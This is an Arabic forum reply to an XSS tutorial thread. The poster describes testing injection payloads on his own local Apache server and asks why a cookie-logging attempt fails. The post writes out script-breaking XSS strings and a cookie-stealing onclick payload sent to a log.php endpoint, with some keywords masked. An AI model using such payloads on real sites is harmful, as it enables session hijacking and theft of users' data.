[ تم التجديد ] ~ شرح كامل متكامل لتغرات xss ~ | احترافي ..~

[mass1993]

يعطيك العافية اخوي عالشرح ...ولكن عندي استفسار:

انا عندي سيرفر شخصي اباتشي اصدار 2.5.8 ووضعت ملف الثغرة فيه وكل اشي تمام...ولكن لما كتبت هذا الكود بالمتصفح:

'"--></style></script>***************("Www.VBspiders.com")</script>

وضغطت انتر ما طلعلي تنبيه في المتصفح وطبعلي التاليي:

\'\"

ولكن لما كتبت الامر هذا :

'"--></style></script>***************(4444444)</script>

وضغطت انتر طلع التنبيه وكل اشي تمام...

ولكن لما اجيت احط هذا الامر:

"><a href="#" onclick="********.location='http://localhost/log.php' +escape(********.******);"><Click Me></a></script>

ورحت لملف nor15din ما لقيت اشي فيه...اخوي شو هالمشكلة بالله عليك وليش صار هيك معي؟؟؟

تحياتي